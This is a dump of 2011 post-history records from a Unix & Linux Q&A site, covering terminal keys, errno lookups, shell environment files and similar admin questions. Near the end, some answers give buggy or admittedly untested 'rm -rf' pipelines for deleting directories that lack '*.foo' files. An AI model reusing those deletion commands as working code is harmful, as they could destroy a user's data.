  <row Id="19668" PostHistoryTypeId="5" PostId="8349" RevisionGUID="a724fb6b-2fa6-4c25-a58a-dd806a697cc2" CreationDate="2011-02-28T21:11:16.140" UserId="73" Comment="added 25 characters in body" Text="I'm using putty &gt; screen &gt; vim, and screen is sending the same sequence for &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Right&lt;/kbd&gt; and &lt;kbd&gt;Right&lt;/kbd&gt; in application mode for vim.  &#xD;&#xA;&#xD;&#xA;There is an option to make putty send the cursor mode sequences (disable application cursor keys mode) when in application mode and that works, but when screen is introduced, something isn't right.&#xD;&#xA;&#xD;&#xA;How would I go about fixing this?&#xD;&#xA;" />
  <row Id="19669" PostHistoryTypeId="5" PostId="8354" RevisionGUID="d7878860-560b-4a43-9d47-01aaab9ec77e" CreationDate="2011-02-28T21:11:31.540" UserId="73" Comment="added 2 characters in body" Text="If I set `term = xterm` in putty, and `term=putty` in `screenrc, it seems to work." />
  <row Id="19670" PostHistoryTypeId="2" PostId="8359" RevisionGUID="db07ed62-4aaf-451f-9647-f82540ed5909" CreationDate="2011-02-28T21:20:11.173" UserId="885" Text="Is that a text file you're trying to sort, or are you trying to view a directory listing by date? For the latter, [use the `-t` flag to `ls`](http://unix.stackexchange.com/questions/8352/sorting-by-date/8357#8357). For the former, see in particular the `-M` flag to GNU sort, which sorts by three-letter month name abbreviations. The following command sorts by the 3rd, 1st, 2nd and 4th columns, treating the second sort key as a month name.&#xD;&#xA;&#xD;&#xA;    sort -k 3 -k 1M -k2 -k4 in.txt&#xD;&#xA;&#xD;&#xA;Do consider always using Japanese/ISO style dates, always in the order YYYY-MM-DD-HH-MM-SS (i.e. most significant first, constant column width). This way sorting by date is identical to a lexicographic sort.&#xD;&#xA;" />
  <row Id="19671" PostHistoryTypeId="2" PostId="8360" RevisionGUID="1d8b9eea-2b87-4072-b4b1-17e95d5c2734" CreationDate="2011-02-28T21:23:03.567" UserId="2511" Text="Current Fedora 15 includes gtk+ 1.2.10. The package release is &quot;71&quot; — looks like it's gone through a lot.&#xD;&#xA;&#xD;&#xA;What uses it? In Fedora rawhide:&#xD;&#xA;&#xD;&#xA;    bubblemon (displays CPU load and memory as a bubbling jar of water)&#xD;&#xA;    crossfire-client (multiplayer roguelike)&#xD;&#xA;    dillo (minimal GUI web browser)&#xD;&#xA;    gcombust (cd recording front end)&#xD;&#xA;    gcx (ccd photometry data reduction tool)&#xD;&#xA;    gnome-libs (yeah, gnome 1. Apparently also still shipping.)&#xD;&#xA;    gsview (gui for ghostscript)&#xD;&#xA;    libglade (which doesn't seem to be used for anything)&#xD;&#xA;    manedit (&quot;integrated XML interface&quot; for man page editing. why? why?)&#xD;&#xA;    siril (astronomical image processing software)&#xD;&#xA;    soundtracker (tracker, as in synth music)&#xD;&#xA;    spacechart (3d stars)&#xD;&#xA;    swami (midi instrument editor)&#xD;&#xA;    xarchon (ancient clone of the classic game)&#xD;&#xA;    xconvers (ever wondered what port 3600 was for?)&#xD;&#xA;    xdialog (this once was the cutting edge of user-interaction design)&#xD;&#xA;    xmms (and many xmms plugins and sub-packages)&#xD;&#xA;&#xD;&#xA;File that under &quot;huh, lookit that&quot;. :)" />
  <row Id="19672" PostHistoryTypeId="2" PostId="8361" RevisionGUID="92dd1d63-dcd4-4fe7-94b5-ddfd0cedb1ec" CreationDate="2011-02-28T21:24:48.083" UserId="3169" Text="From the shell, you can run `perror`:&#xD;&#xA;&#xD;&#xA;    $ perror 123&#xD;&#xA;    OS error code 123:  No medium found&#xD;&#xA;&#xD;&#xA;In a C program you can use the function with the same name:&#xD;&#xA;&#xD;&#xA;    void perror(const char *s);&#xD;&#xA;&#xD;&#xA;It prints your message `s` with the reason for the error appended.&#xD;&#xA;&#xD;&#xA;Or you can use:&#xD;&#xA;&#xD;&#xA;    char *strerror(int errnum);&#xD;&#xA;&#xD;&#xA;to return the description of the error as a string so you can inspect it or print it how you like.&#xD;&#xA;&#xD;&#xA;See `man 3 perror` and `man 3 strerror` for details." />
  <row Id="19673" PostHistoryTypeId="5" PostId="8360" RevisionGUID="3a22d7f4-8290-449f-b2d7-5d6384544f0e" CreationDate="2011-02-28T21:30:14.760" UserId="2511" Comment="added 219 characters in body" Text="Current Fedora 15 includes gtk+ 1.2.10. The package release is &quot;71&quot; — looks like it's gone through a lot.&#xD;&#xA;&#xD;&#xA;What uses it? In Fedora rawhide:&#xD;&#xA;&#xD;&#xA;    bubblemon (displays CPU load and memory as a bubbling jar of water)&#xD;&#xA;    crossfire-client (multiplayer roguelike)&#xD;&#xA;    dillo (minimal GUI web browser)&#xD;&#xA;    gcombust (cd recording front end)&#xD;&#xA;    gcx (ccd photometry data reduction tool)&#xD;&#xA;    gnome-libs (yeah, gnome 1. Apparently also still shipping.)&#xD;&#xA;    gsview (gui for ghostscript)&#xD;&#xA;    libglade (which doesn't seem to be used for anything)&#xD;&#xA;    manedit (&quot;integrated XML interface&quot; for man page editing. why? why?)&#xD;&#xA;    siril (astronomical image processing software)&#xD;&#xA;    soundtracker (tracker, as in synth music)&#xD;&#xA;    spacechart (3d stars)&#xD;&#xA;    swami (midi instrument editor)&#xD;&#xA;    xarchon (ancient clone of the classic game)&#xD;&#xA;    xconvers (ever wondered what port 3600 was for?)&#xD;&#xA;    xdialog (this once was the cutting edge of user-interaction design)&#xD;&#xA;    xmms (and many xmms plugins and sub-packages)&#xD;&#xA;&#xD;&#xA;File that under &quot;huh, lookit that&quot;. :)&#xD;&#xA;&#xD;&#xA;None of these apps appear to be actively developed — those that are, like dillo, have newer versions that use different toolkits. I can't imagine why an app that was actively worked on wouldn't have migrated by now." />
  <row Id="19674" PostHistoryTypeId="2" PostId="8362" RevisionGUID="f4e2d85d-1091-4532-b24b-73b911d9788e" CreationDate="2011-02-28T21:30:36.327" UserId="885" Text="There are standard error values, defined in [`errno.h`](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/errno.h.html). You can look at this file on your system to see the numerical values. On most systems, they're in `/usr/include/errno.h` or a file that it includes. On Linux, most are in `/usr/include/asm-generic/errno-base.h` or `/usr/include/asm-generic/errno.h`, with a few more in `/usr/include/bits/errno.h`.&#xD;&#xA;&#xD;&#xA;If you have a numerical value, call the standard library function [`strerror`](http://pubs.opengroup.org/onlinepubs/009695399/functions/strerror.html) or [`perror`](http://pubs.opengroup.org/onlinepubs/009695399/functions/perror.html) to obtain the corresponding error message (in your current locale). From the command line, a quick way to see an error string is&#xD;&#xA;&#xD;&#xA;    perl -MPOSIX -le 'print strerror 123'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19675" PostHistoryTypeId="2" PostId="8363" RevisionGUID="dddd346b-38df-412f-a41b-cc734e1a3dea" CreationDate="2011-02-28T21:32:36.957" UserId="4520" Text="virsh will allow your to edit, export, and import the XML definition for your servers.  I would use virt-clone to generate a cloned image file, and export the XML.  To be safe I would remove the clone configuration from the original server. &#xD;&#xA;" />
  <row Id="19676" PostHistoryTypeId="5" PostId="8361" RevisionGUID="93606353-c97e-4b12-ac9e-66a6316059c5" CreationDate="2011-02-28T21:35:07.890" UserId="3169" Comment="added 183 characters in body; deleted 23 characters in body; added 3 characters in body" Text="From the shell, you can run `perror`:&#xD;&#xA;&#xD;&#xA;    $ perror 123&#xD;&#xA;    OS error code 123:  No medium found&#xD;&#xA;&#xD;&#xA;That comes with MySQL.&#xD;&#xA;&#xD;&#xA;If you don't have MySQL, you can use Perl or Python, e.g.:&#xD;&#xA;&#xD;&#xA;    $ perl -MPOSIX -e 'print strerror(123)'&#xD;&#xA;    No medium found&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In a C program you can use the function with the same name:&#xD;&#xA;&#xD;&#xA;    void perror(const char *s);&#xD;&#xA;&#xD;&#xA;It prints your message `s` with the reason for the error appended.&#xD;&#xA;&#xD;&#xA;Or you can use:&#xD;&#xA;&#xD;&#xA;    char *strerror(int errnum);&#xD;&#xA;&#xD;&#xA;to return the description of the error as a string so you can inspect it or print it how you like.&#xD;&#xA;&#xD;&#xA;See `man 3 perror` and `man 3 strerror` for details." />
  <row Id="19677" PostHistoryTypeId="5" PostId="8361" RevisionGUID="d39030ac-10f3-4ddd-864d-dbaeb8ecbaf7" CreationDate="2011-02-28T21:40:10.120" UserId="3169" Comment="added 76 characters in body" Text="From the shell, you can run `perror`:&#xD;&#xA;&#xD;&#xA;    $ perror 123&#xD;&#xA;    OS error code 123:  No medium found&#xD;&#xA;&#xD;&#xA;That comes with MySQL.&#xD;&#xA;&#xD;&#xA;If you don't have MySQL, you can use Perl or Python, e.g.:&#xD;&#xA;&#xD;&#xA;    $ perl -MPOSIX -e 'print strerror(123)'&#xD;&#xA;    No medium found&#xD;&#xA;&#xD;&#xA;    $ python -c 'import os; print os.strerror(123)'&#xD;&#xA;    No medium found&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In a C program you can use the function with the same name:&#xD;&#xA;&#xD;&#xA;    void perror(const char *s);&#xD;&#xA;&#xD;&#xA;It prints your message `s` with the reason for the error appended.&#xD;&#xA;&#xD;&#xA;Or you can use:&#xD;&#xA;&#xD;&#xA;    char *strerror(int errnum);&#xD;&#xA;&#xD;&#xA;to return the description of the error as a string so you can inspect it or print it how you like.&#xD;&#xA;&#xD;&#xA;See `man 3 perror` and `man 3 strerror` for details." />
  <row Id="19678" PostHistoryTypeId="2" PostId="8364" RevisionGUID="0325a0e6-de3c-446e-8223-865d497e201d" CreationDate="2011-02-28T21:42:18.673" UserId="885" Text="&gt; Suppose I have `export MY_VAR=0` in `~/.bashrc`.&#xD;&#xA;&#xD;&#xA;That's your mistake right there. You should define your environment variables in `~/.profile`, which is read when you log in. `~/.bashrc` is read each time you start a shell; when you start the inner shell, it overrides `MY_VAR`. If you hadn't done that, your environment variable would propagate downards.&#xD;&#xA;&#xD;&#xA;For more information on `~/.bashrc` vs `~/.profile`, see my [previous](http://superuser.com/questions/183870/difference-between-bashrc-and-bash-profile)&#xD;&#xA;[posts](http://superuser.com/questions/183845/which-setup-files-should-be-used-for-setting-up-environment-variables-with-bash) [on](http://superuser.com/questions/187639/zsh-not-hitting-profile) [this](http://unix.stackexchange.com/questions/3052/alternative-to-bashrc) [topic](http://unix.stackexchange.com/questions/4621/correctly-setting-enviroment/4628#4628).&#xD;&#xA;&#xD;&#xA;Note that *upward* propagation (getting a modified value from the subshell automatically reflected in the parent shell) is not possible, full stop.&#xD;&#xA;" />
  <row Id="19679" PostHistoryTypeId="5" PostId="8347" RevisionGUID="e6e7095e-d3c0-4f0a-be07-7bb36f999654" CreationDate="2011-02-28T21:52:58.727" UserId="885" Comment="formatting" Text="The `/proc` filesystem is a pseudo-filesystem. It is a convenient way of transferring memory from user space to kernel space and vice versa.&#xD;&#xA;&#xD;&#xA;Each entry (file or directory) in the `/proc` directory is created by a part of the kernel. Each entry can be read and/or write. They can be opened from the userspace like any normal file. Entries are created in roughly the following manner (inside a kernel module): &#xD;&#xA;&#xD;&#xA;    procentry1 = create_proc_entry(path);&#xD;&#xA;    procentry1-&gt;read = read_function1;&#xD;&#xA;    procentry-&gt;write = write_function1;&#xD;&#xA;&#xD;&#xA;So you roughly specify the path to be created, and functions that are to be called on read/write (You need one or both of them). The read function returns a string(like a file read call), while the write function takes a string. The corresponding read and write functions are called, whenever a program tries to read/write to the corresponding proc file path.&#xD;&#xA;" />
  <row Id="19680" PostHistoryTypeId="2" PostId="8365" RevisionGUID="dd8c933e-0653-4ae7-8d96-a675d23c5521" CreationDate="2011-02-28T22:01:07.800" UserId="885" Text="Set the environment variable `CVSEDITOR` to your favorite editor. This is not expanded by the shell, so the tilde won't work. So write a one-line shell wrapper and call that in `CVSEDITOR`. Write this as `~/bin/CVSEDITOR` and make it executable:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    exec vim -S ~/myscript.vim&#xD;&#xA;&#xD;&#xA;Then put the following line in your `~/.profile`:&#xD;&#xA;&#xD;&#xA;    export CVSEDITOR=CVSEDITOR&#xD;&#xA;&#xD;&#xA;If you want to use the same editor for everything, set the `EDITOR` and `VISUAL` variables instead (set the both to the same value).&#xD;&#xA;" />
  <row Id="19681" PostHistoryTypeId="6" PostId="8339" RevisionGUID="9ff84e0c-5520-4fd6-bd83-c2d9398158c7" CreationDate="2011-02-28T22:01:33.773" UserId="885" Comment="edited tags" Text="évimàéeditorsàéaliasàécvsà" />
  <row Id="19682" PostHistoryTypeId="2" PostId="8366" RevisionGUID="21561b36-3b1a-457f-a66a-5f48801e5445" CreationDate="2011-02-28T22:04:05.870" UserId="1207" Text="You may look into a little utility called [errno][1].  It is essentially some shell hackery that uses `sed` to pull out information from the header files mentioned in other answers.  The output looks like the following:&#xD;&#xA;&#xD;&#xA;    $ errno 123&#xD;&#xA;    ENOMEDIUM	   123 	   /* No medium found */&#xD;&#xA;    $ errno 111&#xD;&#xA;    ECONNREFUSED	111 	/* Connection refused */&#xD;&#xA;    $ errno 122&#xD;&#xA;    EDQUOT	      122     /* Quota exceeded */&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/errno&#xD;&#xA;" />
  <row Id="19683" PostHistoryTypeId="6" PostId="8337" RevisionGUID="82d2fa21-8767-4300-8e8b-527a90324071" CreationDate="2011-02-28T22:05:27.403" UserId="885" Comment="edited tags" Text="éunixàéhistoryàéplan9à" />
  <row Id="19684" PostHistoryTypeId="5" PostId="8345" RevisionGUID="a794a981-de9d-4b9a-8014-20ac2c0e70c6" CreationDate="2011-02-28T22:07:25.267" UserId="4648" Comment="Improved b/c of suggestions from comments" Text="I don't know how to get the alias to work inside CVS, but what you can do is write a script which invokes vim the way you want.&#xD;&#xA;&#xD;&#xA;The script would simply be:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    vim -S ~/myscript.vim &quot;$@&quot; &#xD;&#xA;&#xD;&#xA;And then just save it somewhere in your `$PATH` with the name &lt;strike&gt;`rvim`&lt;/strike&gt;`my-vim` (for example `/usr/local/bin/my-vim`), and you should be able to use `my-vim` as a command both on your command-line and from within CVS.&#xD;&#xA;&#xD;&#xA;If you don't want to put the script in a global directory on your system or don't have the rights to, just create `$HOME/bin`, put the script there, and add it to your `$PATH`. " />
  <row Id="19685" PostHistoryTypeId="6" PostId="8048" RevisionGUID="fce499c6-3865-4295-a0e8-ee58a26c08bb" CreationDate="2011-02-28T22:08:29.103" UserId="885" Comment="edited tags" Text="élinuxàédebianàénetworkingàéusbàédriversà" />
  <row Id="19686" PostHistoryTypeId="5" PostId="8336" RevisionGUID="0a917eed-dd2f-4009-8634-15b5ca436054" CreationDate="2011-02-28T22:10:52.300" UserId="885" Comment="edited tags" Text="I am getting bald with this guys:&#xD;&#xA;&#xD;&#xA;On a Linux VPS (CentOS), I have setup a mail server (Exim+Dovecot+Clamav+SpamAssassin) but scanning mail for spam using SpamAssassin is proving to be a challenge.&#xD;&#xA;I am not a Linux expert, especially when it comes to challenges associated with VPS, but I can pretty much RTFM and succeed. This one is beating me:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On my FreeBSD servers, I can easily get the desired results:&#xD;&#xA;&#xD;&#xA;    (15:59:00 &lt;~&gt;) 0 $ sockstat -l | grep 783&#xD;&#xA;    root     perl       83997 5  tcp4   127.0.0.1:783         *:*&#xD;&#xA;    root     perl       83996 5  tcp4   127.0.0.1:783         *:*&#xD;&#xA;    root     perl       10281 5  tcp4   127.0.0.1:783         *:*&#xD;&#xA;    &#xD;&#xA;    (15:57:21 &lt;~&gt;) 0 $ telnet 127.0.0.1 783&#xD;&#xA;    Trying 127.0.0.1...&#xD;&#xA;    Connected to localhost.&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    CONT&#xD;&#xA;    SPAMD/1.0 76 Bad header line: CONT&#xD;&#xA;    Connection closed by foreign host.`&#xD;&#xA;&#xD;&#xA;However, on the Linux VPS when I run the same test, it just hangs there ... nothing responds on the port, even though I can see spamd listening on 783:&#xD;&#xA;&#xD;&#xA;    [root@vps exim]# netstat -anp | grep 783&#xD;&#xA;    tcp   0   0  127.0.0.1:783   0.0.0.0:*   LISTEN   21602/spamd.pid&#xD;&#xA;&#xD;&#xA;If any of you runs their servers on VPSes and are able to communicate with spamd, please tell me where to look.&#xD;&#xA;&#xD;&#xA;Af it might help, I can connect to the POP3 port on this server from remote locations, BUT not from localhost (127.0.0.1)! &#xD;&#xA;Since spamd is set to listen on 127.0.0.1, I cannot test it from a remote server, and I don't intend to change it to listen on the public IP for test purposes.&#xD;&#xA;&#xD;&#xA;Could it be something I need to change on the Linux?&#xD;&#xA;" />
  <row Id="19687" PostHistoryTypeId="6" PostId="8336" RevisionGUID="0a917eed-dd2f-4009-8634-15b5ca436054" CreationDate="2011-02-28T22:10:52.300" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàéfirewallàéipà" />
  <row Id="19688" PostHistoryTypeId="6" PostId="8291" RevisionGUID="7ed88cbd-d7d4-4ec2-a0f7-7834a4830bdc" CreationDate="2011-02-28T22:23:53.693" UserId="885" Comment="edited tags" Text="éubuntuàésshàézshàéenvironmentövariablesà" />
  <row Id="19689" PostHistoryTypeId="5" PostId="8362" RevisionGUID="a9f519d7-7973-4bbb-8e2e-1ca4fc9c2eb2" CreationDate="2011-02-28T22:47:25.620" UserId="885" Comment="added python, zsh" Text="There are standard error values, defined in [`errno.h`](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/errno.h.html). You can look at this file on your system to see the numerical values. On most systems, they're in `/usr/include/errno.h` or a file that it includes. On Linux, most are in `/usr/include/asm-generic/errno-base.h` or `/usr/include/asm-generic/errno.h`, with a few more in `/usr/include/bits/errno.h`.&#xD;&#xA;&#xD;&#xA;If you have a numerical value, call the standard library function [`strerror`](http://pubs.opengroup.org/onlinepubs/009695399/functions/strerror.html) or [`perror`](http://pubs.opengroup.org/onlinepubs/009695399/functions/perror.html) to obtain the corresponding error message (in your current locale). From the command line, a quick way to see an error string is one of&#xD;&#xA;&#xD;&#xA;    perl -MPOSIX -le 'print strerror 123'&#xD;&#xA;    python -c 'import os; print strerror(123)'&#xD;&#xA;    zmodload zsh/system; syserror 123  # in zsh&#xD;&#xA;" />
  <row Id="19690" PostHistoryTypeId="2" PostId="8367" RevisionGUID="6f62e6fc-13fa-4950-b8c0-943bfe46d166" CreationDate="2011-02-28T22:57:35.950" UserId="5216" Text="Hey&#xD;&#xA;I use gentoo as a server, so I usually don't even start X.&#xD;&#xA;But whats a bit annoying is that the monitor keeps turning off after 10 or 15 Minutes, especially if I emerge something and just wait for compiler to finish.&#xD;&#xA;&#xD;&#xA;How can I turn this off?&#xD;&#xA;I already searched google, but all answers I found were related to X or X-based terminals" />
  <row Id="19691" PostHistoryTypeId="1" PostId="8367" RevisionGUID="6f62e6fc-13fa-4950-b8c0-943bfe46d166" CreationDate="2011-02-28T22:57:35.950" UserId="5216" Text="Monitor keeps turning off after 10 Minutes" />
  <row Id="19692" PostHistoryTypeId="3" PostId="8367" RevisionGUID="6f62e6fc-13fa-4950-b8c0-943bfe46d166" CreationDate="2011-02-28T22:57:35.950" UserId="5216" Text="éshellàégentooàémonitorà" />
  <row Id="19693" PostHistoryTypeId="25" PostId="8352" RevisionGUID="af080af7-1807-4b41-bc5a-a3acab85aeff" CreationDate="2011-02-28T23:23:33.050" Comment="http://twitter.com/#!/StackUnix/status/42364307320741889" />
  <row Id="19695" PostHistoryTypeId="2" PostId="8369" RevisionGUID="cceb44d4-8b56-4d8a-85bf-41954c4888f6" CreationDate="2011-03-01T00:58:13.253" UserId="3169" Text="Union file systems, such as unionfs and aufs, were inspired by Plan9 union directories.&#xD;&#xA;&#xD;&#xA;For example, they are used on live CDs to merge `/usr/bin` from the CD with a writable file system, so that you can make changes to `/usr/bin`, even tho the CD is read-only.&#xD;&#xA;&#xD;&#xA;[Union file systems: Implementations, Part I on lwn.net][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://lwn.net/Articles/325369/&#xD;&#xA;&#xD;&#xA;You could probably also say that [sshfs][2] was inspired by Plan9's [ftpfs][3].&#xD;&#xA;&#xD;&#xA;  [2]: http://fuse.sourceforge.net/sshfs.html&#xD;&#xA;  [3]: http://www.cs.bell-labs.com/magic/man2html/4/ftpfs" />
  <row Id="19696" PostHistoryTypeId="5" PostId="8369" RevisionGUID="448fd18e-ba8d-4bd2-84cb-03375655bd2f" CreationDate="2011-03-01T01:06:52.407" UserId="3169" Comment="added 208 characters in body" Text="Union file systems, such as [unionfs][4] and [aufs][5], were inspired by Plan9 union directory mounts.&#xD;&#xA;&#xD;&#xA;For example, they are used on live CDs to merge `/usr/bin` from the CD with a writable file system, so that you can make changes to `/usr/bin`, even tho the CD is read-only.&#xD;&#xA;&#xD;&#xA;[Union file systems: Implementations, Part I on lwn.net][1]&#xD;&#xA;&#xD;&#xA;I'm not sure if this is what Bruce means by &quot;mount/filesystem namespace&quot;, or is something different.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;  [1]: http://lwn.net/Articles/325369/&#xD;&#xA;&#xD;&#xA;You could probably also say that [sshfs][2] was inspired by Plan9's [ftpfs][3].&#xD;&#xA;&#xD;&#xA;  [2]: http://fuse.sourceforge.net/sshfs.html&#xD;&#xA;  [3]: http://www.cs.bell-labs.com/magic/man2html/4/ftpfs&#xD;&#xA;  [4]: http://tcos.org/project-unionfs.html&#xD;&#xA;  [5]: http://aufs.sourceforge.net/" />
  <row Id="19697" PostHistoryTypeId="5" PostId="8369" RevisionGUID="e0052053-98f9-4e93-aa36-70b873934681" CreationDate="2011-03-01T01:13:22.730" UserId="3169" Comment="added 417 characters in body" Text="Union file systems, such as [unionfs][4] and [aufs][5], were inspired by Plan9 [union directory mounts][6].&#xD;&#xA;&#xD;&#xA;For example, they are used on live CDs to merge `/usr/bin` from the CD with a writable file system, so that you can make changes to `/usr/bin`, even tho the CD is read-only.&#xD;&#xA;&#xD;&#xA;[Union file systems: Implementations, Part I on lwn.net][1]&#xD;&#xA;&#xD;&#xA;For example, if I understand the docs correctly, on Plan9, you could do:&#xD;&#xA;&#xD;&#xA;    bind -b /usr/bin /bin&#xD;&#xA;    bind -b /usr/local/bin /bin&#xD;&#xA;    bind -b /home/username/bin /bin&#xD;&#xA;&#xD;&#xA;And all the files in all three directories would appear in `/bin` (in case of duplicate names, the one in the last-specified directory wins, due to the `-b` option).&#xD;&#xA;&#xD;&#xA;I'm not sure if this is what Bruce means by &quot;mount/filesystem namespace&quot;, or is something different.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;  [1]: http://lwn.net/Articles/325369/&#xD;&#xA;&#xD;&#xA;You could probably also say that [sshfs][2] was inspired by Plan9's [ftpfs][3].&#xD;&#xA;&#xD;&#xA;  [2]: http://fuse.sourceforge.net/sshfs.html&#xD;&#xA;  [3]: http://www.cs.bell-labs.com/magic/man2html/4/ftpfs&#xD;&#xA;  [4]: http://tcos.org/project-unionfs.html&#xD;&#xA;  [5]: http://aufs.sourceforge.net/&#xD;&#xA;  [6]: http://www.cs.bell-labs.com/magic/man2html?man=mount&amp;sect=1" />
  <row Id="19698" PostHistoryTypeId="2" PostId="8370" RevisionGUID="65b2ceab-9d3f-4ee6-b4f7-bf252656f4e8" CreationDate="2011-03-01T01:50:41.393" UserId="2407" Text="I have a few directories, some with a depth of 3, which contain mixed file types. &#xD;&#xA;What i need to do is to `rm -rf` all the directories that do not contain filetype `foo`. &#xD;&#xA;&#xD;&#xA;Could this is be achievable e.g. with `find` somehow?&#xD;&#xA;I do know, that I can use find like this:&#xD;&#xA;&#xD;&#xA;     `enter code here`find . ! -name '*.foo' -delete&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;to delete all files within the directories that do not contain any file of type `*.foo`. &#xD;&#xA;Now, how can I use this, to not only delete all unwanted files, but all directories and subdirectories which do not contain `*.foo`?" />
  <row Id="19699" PostHistoryTypeId="1" PostId="8370" RevisionGUID="65b2ceab-9d3f-4ee6-b4f7-bf252656f4e8" CreationDate="2011-03-01T01:50:41.393" UserId="2407" Text="[bash] use 'find' to search for directories !containing certain filetype foo" />
  <row Id="19700" PostHistoryTypeId="3" PostId="8370" RevisionGUID="65b2ceab-9d3f-4ee6-b4f7-bf252656f4e8" CreationDate="2011-03-01T01:50:41.393" UserId="2407" Text="ébashàédirectoryàéfindà" />
  <row Id="19701" PostHistoryTypeId="5" PostId="8367" RevisionGUID="ed52a9e9-2f50-4947-8159-e7aaf4a05bc3" CreationDate="2011-03-01T01:51:00.847" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Disable screen blanking on text console](http://unix.stackexchange.com/questions/8056/disable-screen-blanking-on-text-console)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hey&#xD;&#xA;I use gentoo as a server, so I usually don't even start X.&#xD;&#xA;But whats a bit annoying is that the monitor keeps turning off after 10 or 15 Minutes, especially if I emerge something and just wait for compiler to finish.&#xD;&#xA;&#xD;&#xA;How can I turn this off?&#xD;&#xA;I already searched google, but all answers I found were related to X or X-based terminals" />
  <row Id="19702" PostHistoryTypeId="10" PostId="8367" RevisionGUID="9747f4d2-40c4-487c-bb9e-84b036425f68" CreationDate="2011-03-01T01:51:00.673" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="19703" PostHistoryTypeId="25" PostId="8342" RevisionGUID="11794233-361f-4412-a47e-bfad0361ada6" CreationDate="2011-03-01T02:23:33.440" Comment="http://twitter.com/#!/StackUnix/status/42409608878366720" />
  <row Id="19704" PostHistoryTypeId="2" PostId="8371" RevisionGUID="c1139694-c806-43d4-bbe6-c24007b32319" CreationDate="2011-03-01T03:06:01.187" UserId="2783" Text="These are your directories:&#xD;&#xA;&#xD;&#xA;    find . -type d&#xD;&#xA;&#xD;&#xA;these are the directories that you want to **keep**:&#xD;&#xA;&#xD;&#xA;    find . -iname '*.foo' -print0  | xargs -0 dirname | sort | uniq&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    find . -iname '*.foo' -execdir pwd \; | sort | uniq&#xD;&#xA;&#xD;&#xA;but, I suppose, that if&#xD;&#xA;&#xD;&#xA;* `/aaa/bbb` doesn't have a `.foo` *and*&#xD;&#xA;* `/aaa/bbb/ccc` *does* have a `.foo`&#xD;&#xA;&#xD;&#xA;you wouldn't delete `/aaa/bbb/` nor `/aaa/`, right? So what you really need is to **keep** these base directories:&#xD;&#xA;&#xD;&#xA;    find . -iname '*.foo' -print0 | xargs -0 dirname | awk -F/ '{print &quot;./&quot;$2}' | sort | uniq&#xD;&#xA;&#xD;&#xA;and delete all other bases:&#xD;&#xA;&#xD;&#xA;    find . -type d -maxdepth 1" />
  <row Id="19705" PostHistoryTypeId="5" PostId="8371" RevisionGUID="195db6c5-bf37-4b95-a65b-e238238ddc8c" CreationDate="2011-03-01T03:18:14.390" UserId="2783" Comment="added 333 characters in body" Text="These are your directories:&#xD;&#xA;&#xD;&#xA;    find . -type d&#xD;&#xA;&#xD;&#xA;these are the directories that you want to **keep**:&#xD;&#xA;&#xD;&#xA;    find . -iname '*.foo' -print0  | xargs -0 dirname | sort | uniq&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    find . -iname '*.foo' -execdir pwd \; | sort | uniq&#xD;&#xA;&#xD;&#xA;but, I suppose, that if&#xD;&#xA;&#xD;&#xA;* `/aaa/bbb` doesn't have a `.foo` *and*&#xD;&#xA;* `/aaa/bbb/ccc` *does* have a `.foo`&#xD;&#xA;&#xD;&#xA;you wouldn't delete `/aaa/bbb/` nor `/aaa/`, right? So what you really need is to **keep** these base directories:&#xD;&#xA;&#xD;&#xA;    find . -iname '*.foo' -print0 | xargs -0 dirname | awk -F/ '{print &quot;./&quot;$2}' | sort | uniq&#xD;&#xA;&#xD;&#xA;and delete all other bases:&#xD;&#xA;&#xD;&#xA;    find . -type d -maxdepth 1&#xD;&#xA;&#xD;&#xA;for example:&#xD;&#xA;&#xD;&#xA;    a=`find . -iname '*.foo' -print0 | xargs ...'`&#xD;&#xA;    find . -type d -maxdepth 1 |grep -v &quot;echo $a&quot; | xargs rm -rf&#xD;&#xA;&#xD;&#xA;and then you want to do this recursively:&#xD;&#xA;&#xD;&#xA;    for dir in $a; do&#xD;&#xA;      b=`find . -iname '*.foo' -print0 | ... `&#xD;&#xA;      find . -type d -maxdepth 1 | grep -v &quot;echo $b&quot; | xargs rm -rf&#xD;&#xA;    done" />
  <row Id="19706" PostHistoryTypeId="2" PostId="8372" RevisionGUID="f8c4d184-0789-4d22-b593-78dbee64b315" CreationDate="2011-03-01T03:32:56.660" UserId="3169" Text="I'm not quite sure this can be done using only `find`.&#xD;&#xA;&#xD;&#xA;Here's how I'd tackle it if I wasn't allowed to use Perl, etc.&#xD;&#xA;&#xD;&#xA;    find . -depth -type d -print0 |&#xD;&#xA;    while read -r -d $'\000' dir; do&#xD;&#xA;        if ! tree_contains_foo_files &quot;$dir&quot;; then&#xD;&#xA;            rm -rf &quot;$dir&quot;&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;    tree_contains_foo_files()&#xD;&#xA;    {&#xD;&#xA;        count=$(find &quot;$1&quot; -type f -name &quot;*.foo&quot; | wc -l)&#xD;&#xA;        test $count -gt 0&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Completely untested. ;-)" />
